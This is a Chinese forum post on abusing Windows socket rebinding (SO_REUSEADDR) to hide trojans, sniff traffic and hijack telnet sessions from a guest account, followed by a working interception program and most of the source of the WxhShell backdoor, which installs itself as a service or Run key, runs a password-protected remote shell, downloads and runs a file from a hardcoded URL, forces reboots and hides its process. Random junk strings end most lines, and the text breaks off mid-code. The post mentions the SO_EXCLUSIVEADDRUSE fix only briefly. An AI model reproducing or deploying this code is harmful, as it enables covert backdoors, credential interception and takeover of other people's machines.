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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m d C. FO-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); % 9WWBxS  
Nq~bO_-I  
  saddr.sin_family = AF_INET; ZRxB"a'  
i&LbSxUh9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r?V|9B`$p  
7SqsVq`[~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +vbNZqwz  
;8 b f5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n6uobo-  
f:utw T  
  这意味着什么?意味着可以进行如下的攻击: Vk_L*lcN  
#-V Kk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9Pb0Olh  
ohh 1DsB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OQsH,'  
=q"3a9 pb7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ahebr{u  
X>wQYIi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JqZ%*^O  
6% ,Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9SFiL#1  
%Bo Jt-v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ):[[Ch_  
$Y4 Ao-@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TMRXl.1  
Q%>,5(_V]  
  #include D>1Dao  
  #include !9N%=6\  
  #include W.CIyGK  
  #include    >3Y&jsh<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Je*gMq:D  
  int main() w\QpQ~OX  
  { [,e_2<   
  WORD wVersionRequested; 4i19HD_  
  DWORD ret; -FPl",f=r  
  WSADATA wsaData; +<|w|c  
  BOOL val; kR_[p._  
  SOCKADDR_IN saddr; PRUGUHY  
  SOCKADDR_IN scaddr; CRf^6k_;(  
  int err; {M$8V~8D  
  SOCKET s; %q!nTG U~  
  SOCKET sc; 7)]G"m{  
  int caddsize; A6Qi^TI  
  HANDLE mt; GS^4t mc  
  DWORD tid;   l-npz)EM  
  wVersionRequested = MAKEWORD( 2, 2 ); }Ag2c; aaq  
  err = WSAStartup( wVersionRequested, &wsaData ); 2-CK:)n/#  
  if ( err != 0 ) { 2]'ozs$|v  
  printf("error!WSAStartup failed!\n"); OL=bhZ  
  return -1; 9!OpW:bR|  
  } `<Ftn  
  saddr.sin_family = AF_INET; K4tX4U[Z  
   >ylVES/V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5u!cA4e"  
doa$ ;=wg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q7s1M&K  
  saddr.sin_port = htons(23); z(=:J_N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =wQ=`  
  { 93rE5eGs  
  printf("error!socket failed!\n"); 8;5/_BwMu  
  return -1; {F4:  
  } !`WuLhB`  
  val = TRUE; $ S49v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mu%'cwp$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4H:WpW*r  
  { &d2/F i+  
  printf("error!setsockopt failed!\n"); o]j*  
  return -1; O| 2Q- @D  
  } _Dv^~e1c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E0|aI4S4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 83 n: h08  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ubQ(O uM"  
;CrA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;Cy@TzO/|  
  { 3m^BYr*y^  
  ret=GetLastError(); rx"zqm9 }u  
  printf("error!bind failed!\n"); Gg+>_b{S5T  
  return -1; 4j*}|@x  
  } WAEKvM4*i0  
  listen(s,2); : )z_q!$j  
  while(1) :s5g6TR  
  { y/ FisX  
  caddsize = sizeof(scaddr); )v9[/ ]*P  
  //接受连接请求 7-dwr?j7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BAhC-;B#R  
  if(sc!=INVALID_SOCKET) Vh<`MS0X  
  { 7~16letQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a !IH-XJ2  
  if(mt==NULL) ZUu^==a  
  { :U 9R 1^}A  
  printf("Thread Creat Failed!\n"); yV8).4  
  break; 8%4`Yj=  
  } EI;\of2,  
  } %L/=heBBd  
  CloseHandle(mt); (pmo[2kg  
  } q2Kn3{  
  closesocket(s); EDo (  
  WSACleanup(); |h7v}Y  
  return 0; A=$oYBB  
  }   W)#`4a^xj7  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y!L jy [/  
  { ? Z=v&d[o)  
  SOCKET ss = (SOCKET)lpParam; VC.?]'OqD  
  SOCKET sc; VPHCPGrk  
  unsigned char buf[4096]; >$y >  
  SOCKADDR_IN saddr; @K9T )p]  
  long num; No7Q,p  
  DWORD val; +6=!ve}  
  DWORD ret; I?K0bs+6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cGp^;> ]M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    q0~_D8e,  
  saddr.sin_family = AF_INET; p{rS -`I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xeI{i{8  
  saddr.sin_port = htons(23); "YL-!P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :3B\,inJ  
  { $c}0L0  
  printf("error!socket failed!\n"); }$-VI\96  
  return -1; BGX@n#:  
  } }]I?vyQ#V  
  val = 100; $<v_Vm?6d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K288&D|1WU  
  { :~(im_r  
  ret = GetLastError(); sYXS#;|M  
  return -1; e@OA>  
  } GHy#D]Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'T[zh#v>S  
  { f[I c hCwX  
  ret = GetLastError();  sD8S2  
  return -1; guv@t&;t0  
  } 0R& U18)y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z(3"\ ^T  
  { 8|({ _Z  
  printf("error!socket connect failed!\n"); MxRU6+a  
  closesocket(sc); _ ^{Ep/ME=  
  closesocket(ss); [Ni4[\  
  return -1; Y9;Mey*oW  
  } "|%9xGX|D  
  while(1) WM"^#=+$  
  { `dP+5u!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *K|aK p}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A ? M]5d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tWn m{mF  
  num = recv(ss,buf,4096,0); ~8*oGG~s  
  if(num>0) zc+;VtP|8  
  send(sc,buf,num,0); >A&@Wp1  
  else if(num==0) u7?juI#Cl  
  break; 1c#'5~nB  
  num = recv(sc,buf,4096,0); G+uiZ (p>  
  if(num>0) s{e(- 7'  
  send(ss,buf,num,0); Ug21d42Z4  
  else if(num==0) ^d80\PXz  
  break; :eW~nI.Vc  
  } P0xLx  
  closesocket(ss); !dY:S';~  
  closesocket(sc); SbZt\a 8  
  return 0 ; u4@e=vW I  
  } |Vi&f5p,@  
U*Qq5=dqD  
(:QQ7xc{}  
========================================================== n*Vd<m;w  
+5[oY,^cO  
下边附上一个代码,,WXhSHELL M"^Vf{X^  
;YDF*~9u  
========================================================== hyiMOa  
pm]DxJ@  
#include "stdafx.h" 6;cY!  
Da [C'm=  
#include <stdio.h> IY6_JGe_w  
#include <string.h> abeSkWUL(  
#include <windows.h> DYlvxF`  
#include <winsock2.h> :(>9u.>l?5  
#include <winsvc.h> m > (h_j  
#include <urlmon.h> SDHc[66'  
nKB&|!  
#pragma comment (lib, "Ws2_32.lib") 87KrSZ  
#pragma comment (lib, "urlmon.lib") c^O#O  
z,FTsR$x  
#define MAX_USER   100 // 最大客户端连接数 *O> aqu  
#define BUF_SOCK   200 // sock buffer UglG!1L  
#define KEY_BUFF   255 // 输入 buffer 5 xDN&su  
]TgP!M&q  
#define REBOOT     0   // 重启 T:dm0iau  
#define SHUTDOWN   1   // 关机 _AYC|R|  
RX5.bVp eE  
#define DEF_PORT   5000 // 监听端口 kLt9; <L  
_i[)$EgFm  
#define REG_LEN     16   // 注册表键长度 2BDan^:-Av  
#define SVC_LEN     80   // NT服务名长度 DBJA}Cw  
XcMJD(!  
// 从dll定义API ,6;xr'[o*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _sR9   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1/ pA/UVO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QZ3(u<f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d-;9L56{P  
pP* ~ =?  
// wxhshell配置信息 rA1r#ksQ  
struct WSCFG { NOr <,  
  int ws_port;         // 监听端口 ]A72) 1  
  char ws_passstr[REG_LEN]; // 口令 <;cE/W}}  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8A^jD(|  
  char ws_regname[REG_LEN]; // 注册表键名 @f{_=~+  
  char ws_svcname[REG_LEN]; // 服务名 8ts+'65|F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vA"niO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c5E#QV0&v~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [OZ=iz.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]1d,O^S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^8NLe9~p3?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /J.\p/%\  
6lmiMU&V  
}; F`0c?)  
ge):<k_  
// default Wxhshell configuration b"M`@';+  
struct WSCFG wscfg={DEF_PORT, eh:}X}c=J]  
    "xuhuanlingzhe", 4r[pMJiq  
    1, eKVALUw  
    "Wxhshell", w,Zx5bBg%  
    "Wxhshell", Sf&?3a+f  
            "WxhShell Service", jD/7/G*  
    "Wrsky Windows CmdShell Service", QW~5+c9JJ  
    "Please Input Your Password: ", a3UPbl3^  
  1, &.Latx  
  "http://www.wrsky.com/wxhshell.exe", Ji6`-~ k  
  "Wxhshell.exe" P$18Xno{  
    }; ?#m<\]S<  
AL]h|)6QpC  
// 消息定义模块 *el(+ib%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yYToiW *  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aLKMDiT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v0`qMBr1y  
char *msg_ws_ext="\n\rExit."; h zZ-$IX X  
char *msg_ws_end="\n\rQuit."; 'sRg4?PT  
char *msg_ws_boot="\n\rReboot..."; 3X$Q,  
char *msg_ws_poff="\n\rShutdown..."; iog # ,  
char *msg_ws_down="\n\rSave to "; ?Z Rkn+;  
e(~'pk"mZ  
char *msg_ws_err="\n\rErr!"; I{42'9  
char *msg_ws_ok="\n\rOK!"; C NfJ:e2  
(@ fa~?v>@  
char ExeFile[MAX_PATH]; @1v3-n=  
int nUser = 0; e)HhnN@  
HANDLE handles[MAX_USER]; 1iJ0Hut}d  
int OsIsNt; Y  .  
dXiE.Si  
SERVICE_STATUS       serviceStatus; 1xO!w+J#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A{z>D`d  
3+(yI 4  
// 函数声明 r+{d!CHq}  
int Install(void); 4L=$K2R2r  
int Uninstall(void); Dc.n-ipv$  
int DownloadFile(char *sURL, SOCKET wsh); u3Usq=Ij{  
int Boot(int flag); +_ *eu  
void HideProc(void); QSHJmk 6L  
int GetOsVer(void); V)0[`zJ  
int Wxhshell(SOCKET wsl); '7Mep ]  
void TalkWithClient(void *cs); t/KcXM  
int CmdShell(SOCKET sock); <E>7>ZL  
int StartFromService(void); 5=Kq@[(4  
int StartWxhshell(LPSTR lpCmdLine); F1gt3 ae  
<rX \LwR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {gFAvMj #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [x!i* rW3  
Z}8k[*.  
// 数据结构和表定义 R2}kz.  
SERVICE_TABLE_ENTRY DispatchTable[] = uW}Hvj;0a*  
{ /"""z=q  
{wscfg.ws_svcname, NTServiceMain}, e9CP802#2  
{NULL, NULL} JFkN=YR8  
}; 7_9+=. +X5  
6FL?4>MZ  
// 自我安装 xwPI  
int Install(void) ud0QZ X  
{ #^|| ]g/N  
  char svExeFile[MAX_PATH]; H LjvKE=W  
  HKEY key; <7=&DpjI7F  
  strcpy(svExeFile,ExeFile); [IiwNqZ[~  
j~Q}F|i8  
// 如果是win9x系统,修改注册表设为自启动 ]SFWt/<  
if(!OsIsNt) { t]s94 R q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ri|k<io  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bb|}'  
  RegCloseKey(key); O\6vVM[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (O$}(Tn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A9 U5,mOz  
  RegCloseKey(key); 9%sFJ  
  return 0; :'Zx{F`  
    } ?TDvCL  
  } :^ n*V6.4  
} YWEYHr;%^?  
else { 6`acg'sk>  
o`idg[l.  
// 如果是NT以上系统,安装为系统服务 (Aorx #z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P{?;T5ap6  
if (schSCManager!=0) G'u|Q mb1  
{ 'e F%  
  SC_HANDLE schService = CreateService `M&P[ .9Pz  
  ( 5J  ySFG3  
  schSCManager, Ua %UbAt  
  wscfg.ws_svcname, .}o~VT:!?Y  
  wscfg.ws_svcdisp, G\R*#4cF  
  SERVICE_ALL_ACCESS, T/ik/lFI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -$. 0Dc)3!  
  SERVICE_AUTO_START, AcKU^T+  
  SERVICE_ERROR_NORMAL, iC\%_5/ _  
  svExeFile, alFNSRY  
  NULL, u t$c)_  
  NULL, j !`B'{cH  
  NULL, xA92 C  
  NULL, H ( vx/q  
  NULL /0(%(2jIWl  
  ); *ot> WVB  
  if (schService!=0) FH.f- ZU  
  { 1I ""X]I_  
  CloseServiceHandle(schService); "# !D|[h0  
  CloseServiceHandle(schSCManager); CphFv!k'Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (~JwLe@a  
  strcat(svExeFile,wscfg.ws_svcname); rvwa!YY}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W RF.[R"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0LdJZP  
  RegCloseKey(key); F>*{e  
  return 0; +~N!9eMc  
    } K*1.'9/  
  } Goxl3LS<  
  CloseServiceHandle(schSCManager); HmMO*k<6@  
} &:<, c12  
} 1RLym9JN  
pe.Ml7o"  
return 1; u"`*DFjo*  
} AotCX7T2T  
#.H}r6jqs  
// 自我卸载 /'ZKST4  
int Uninstall(void) ,[* ;UR  
{ sef]>q  
  HKEY key; /N6}*0Ru  
J? .F\`N)  
if(!OsIsNt) { Zyu/|O g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wPX*%0]  
  RegDeleteValue(key,wscfg.ws_regname); Hkege5{  
  RegCloseKey(key); ##cnFQCB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]W/>Ldv  
  RegDeleteValue(key,wscfg.ws_regname); 9gy(IRGq/  
  RegCloseKey(key); le8 #Z}p  
  return 0; L0L2Ns  
  } 1'JD=  
} E8ta|D  
} nn+_TMu  
else { .XS9,/S  
 lq>AGw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y1)!lTG  
if (schSCManager!=0) nls   
{ -_em%o3XC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z=g$Exl  
  if (schService!=0) pvF-Y9Xb  
  { #$E)b:xj  
  if(DeleteService(schService)!=0) { du_4eB  
  CloseServiceHandle(schService); G69GoT  
  CloseServiceHandle(schSCManager); >P=Q #;v  
  return 0; rzUlO5?R=  
  } aJzLrX  
  CloseServiceHandle(schService); cE\>f8 I  
  } !Ms[eB  
  CloseServiceHandle(schSCManager); yCP4r6X0  
} /TV= $gB`  
} |gx ~ gG<  
u5+|Su  
return 1; *2e!M^K<  
} }r%X`i|  
O"Q7Rx  
// 从指定url下载文件 sOpep  
int DownloadFile(char *sURL, SOCKET wsh) l63hLz  
{ BUsV|e\  
  HRESULT hr; y(i Y  
char seps[]= "/"; h&;t.Gdf  
char *token; nB5zNyY4  
char *file; S6g<M5^R  
char myURL[MAX_PATH];  }ptq )p  
char myFILE[MAX_PATH]; a`!@+6yC  
^5; `-Ky  
strcpy(myURL,sURL); 2VoKr)  
  token=strtok(myURL,seps); _>yoX  
  while(token!=NULL) lz<]5T|  
  { aG%, cQ1  
    file=token; f-SuM% S_  
  token=strtok(NULL,seps); JSr$-C fH  
  } Qdf=XG5  
S1S;F9F  
GetCurrentDirectory(MAX_PATH,myFILE); A/}W&bnluD  
strcat(myFILE, "\\"); yZ kyC'/  
strcat(myFILE, file); y*23$fj(  
  send(wsh,myFILE,strlen(myFILE),0); !EIjN  
send(wsh,"...",3,0); \ck+GW4&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SF[FmN!^^  
  if(hr==S_OK) bZ1 78>J]  
return 0; j)C:$  
else XYr J/!*.  
return 1; SF*n1V3hx  
3W_PE+:Kr  
} 2RM+W2!!  
_iV]_\0W2  
// 系统电源模块 `bjizS'^  
int Boot(int flag) Sa1 l=^  
{ / JkC+7H4  
  HANDLE hToken; qIMA6u/  
  TOKEN_PRIVILEGES tkp; De&6 9  
.iD*>M:W  
  if(OsIsNt) { !\Xm!I8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tr0B[QF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2L?!tBw?1  
    tkp.PrivilegeCount = 1; $~;D9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Av'GB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CQh,~  
if(flag==REBOOT) { Q'O[R+YT ,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y|wlq3o  
  return 0; ^ BQrbY  
} P [Uy  
else { 9ZXlR?GA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) re?s.djT  
  return 0; ~{,X3-S_H  
} 6/V3.UP-  
  } y: m_tv0~0  
  else { &0zT I?c  
if(flag==REBOOT) { mZz="ZLa:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4(Iplo*Ys@  
  return 0; G  uQ=gN  
} UFAL1c<V  
else { \;u@"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  -!W<DJ*  
  return 0; @f]{>OS  
} 2owEw*5jl/  
} o]:3H8  
Ig]iT  
return 1;  Jc&y9]  
} xj5;: g#!  
\.YS%"Vz  
// win9x进程隐藏模块 )WT>@  
void HideProc(void) I$N8tn+E  
{ om?-WJI  
r}[7x]sP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J:&[ 59  
  if ( hKernel != NULL ) WOuEWw=  
  { AdRX`[ik  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <\kr1qH H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iu&wO<)+?  
    FreeLibrary(hKernel); AKMm&(fh%  
  } iY"l}.7)  
\%^%wXfp  
return; ]BR,M4   
} U!U$x74D5  
sBrI}[oyx  
// 获取操作系统版本 {ZY+L;eg1  
int GetOsVer(void) P) 3mX.(}  
{ .`>y@p!  
  OSVERSIONINFO winfo; [q !T Iq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^&y$Wd]6  
  GetVersionEx(&winfo); \+aC"#+0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5onm]V]  
  return 1; 2^i(gaXUQ  
  else P ;IrBq6|o  
  return 0; y WV#Up  
} AL>$HB$  
Jgnhn>dHe  
// 客户端句柄模块 o sKKt?^?  
int Wxhshell(SOCKET wsl)  Yn8=  
{ C z\Ppq  
  SOCKET wsh; t%F0:SH  
  struct sockaddr_in client; )iFJz/n>  
  DWORD myID; /cU<hApK  
Um&(&?Xf  
  while(nUser<MAX_USER) J9~ g|5  
{ /0Ax*919j  
  int nSize=sizeof(client); c("_bOAT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S)D nPjN{  
  if(wsh==INVALID_SOCKET) return 1; pb~pN  
dAy?EO0\7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q-1vw6d  
if(handles[nUser]==0) r Tz$^a}/  
  closesocket(wsh); OpHsob~  
else 'C"9QfK  
  nUser++; /Q~i~B 2j-  
  } D 9M:^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s6>ZREf#J  
u*hSj)vr1  
  return 0; Z?\>JM >;  
} B ~OZ2-~  
720DV +o  
// 关闭 socket G37U6PuZi  
void CloseIt(SOCKET wsh) '3uVkp 6tF  
{ 8 @tV9+u  
closesocket(wsh); w K}T`*k  
nUser--; 6i}iAP|0  
ExitThread(0); s_mS^`P7  
} ~ 0M'7q'  
P-9<YN  
// 客户端请求句柄 %$b:X5$Z  
void TalkWithClient(void *cs) z*-2.}&U<  
{ A{A\RSZ0  
<_7*67{  
  SOCKET wsh=(SOCKET)cs; P'_H/r/#  
  char pwd[SVC_LEN]; 0\eIQp  
  char cmd[KEY_BUFF]; wp&=$Aa)'  
char chr[1]; ?"g!  
int i,j; @ta7"6p-i@  
13>0OKg`#  
  while (nUser < MAX_USER) { Y=Kc'x[,Zj  
"men  
if(wscfg.ws_passstr) { ga`3 (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J@u;H$@/y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %\:[ o  
  //ZeroMemory(pwd,KEY_BUFF); bD?VU<)3  
      i=0; R~PA 1wDZ  
  while(i<SVC_LEN) { mGK|ihYu  
ajEjZ6  
  // 设置超时 @<elq'2  
  fd_set FdRead; Fx2bwut.K  
  struct timeval TimeOut; yPal<c  
  FD_ZERO(&FdRead); 3eF -8Z(f  
  FD_SET(wsh,&FdRead); sc}~8T  
  TimeOut.tv_sec=8; Sn|BlXrey  
  TimeOut.tv_usec=0; X<I+&Zi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /#)/;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xsD($_  
<P=twT;P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qHrc9fB  
  pwd=chr[0]; tIuCct-  
  if(chr[0]==0xd || chr[0]==0xa) { |E JD3 &  
  pwd=0; BW$"`T@c6~  
  break; (^Y~/  
  } i uF*.hc,%  
  i++; IhVO@KJI  
    } vwxXgk  
GJ_7h_4  
  // 如果是非法用户,关闭 socket uc){+'[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3R.W >U  
} U`2e{>'4t  
T[g[&K1Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5?]hd*8   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T9Nb`sbV]  
K/|Z$4S  
while(1) { A\HxDIU  
`ojoOB^L  
  ZeroMemory(cmd,KEY_BUFF); u=`L )  
!1$])VQWI  
      // 自动支持客户端 telnet标准   t%E!o0+8Z  
  j=0; 6">+ ~ G  
  while(j<KEY_BUFF) { ,g2ij  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xLK<W"%0  
  cmd[j]=chr[0]; V3^&oe%  
  if(chr[0]==0xa || chr[0]==0xd) { ,F,X ,  
  cmd[j]=0; m}7iTDJR9  
  break; @`q:IIgW  
  } h4 T5+~rw  
  j++; w5Y04J  
    } 7/I,HxXp!  
;V*l.gr'2  
  // 下载文件 a,k>Q`  
  if(strstr(cmd,"http://")) { i3 @)W4{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~a ]+#D  
  if(DownloadFile(cmd,wsh)) e4? >-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RBs-_o+%  
  else 2N: ,Q8~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [YlKR'_  
  } old(i:2  
  else { :bwjJ}F  
S[PE$tYT#t  
    switch(cmd[0]) { 0jy2H2  
  >0ow7Uw;  
  // 帮助 8%A#`)fb  
  case '?': { '>-gi}z7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (nf~x  
    break; Z2qW\E^_r  
  } "_-Po^u=r  
  // 安装 %A1o.{H  
  case 'i': { TO]@ Zu1  
    if(Install()) ~*z% e*EL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RtTJ5@V(  
    else |$8~?7Jv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c;Pe/d  
    break;  zv0l,-o  
    } Yc_8r+;(  
  // 卸载 p<2L.\6"  
  case 'r': { 2 ^h27A  
    if(Uninstall()) <m)$K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D$ dfNiCH  
    else Xg|B \ \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /:~\5}tW  
    break; 6e9,PS  
    } +6HVhoxU#  
  // 显示 wxhshell 所在路径 [>8}J "  
  case 'p': { T@2#6Tffo  
    char svExeFile[MAX_PATH]; #`CA8!j!!  
    strcpy(svExeFile,"\n\r"); Z}mLLf E  
      strcat(svExeFile,ExeFile); #U! _U+K  
        send(wsh,svExeFile,strlen(svExeFile),0); ObVGV  
    break; CZud& <  
    } \2N!:%k  
  // 重启 2@'oe7E  
  case 'b': { TC!Yb_H}gN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #@YPic"n7`  
    if(Boot(REBOOT)) _x%7@ .TB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LlX{#R  
    else { eKE#Yr d=x  
    closesocket(wsh); $WyD^|~SF  
    ExitThread(0); :W!7mna  
    } ]m g)Q:d,  
    break; G&D7a/G\  
    } +)!YrKuu  
  // 关机 Q sZx) bO  
  case 'd': { dP# |$1  
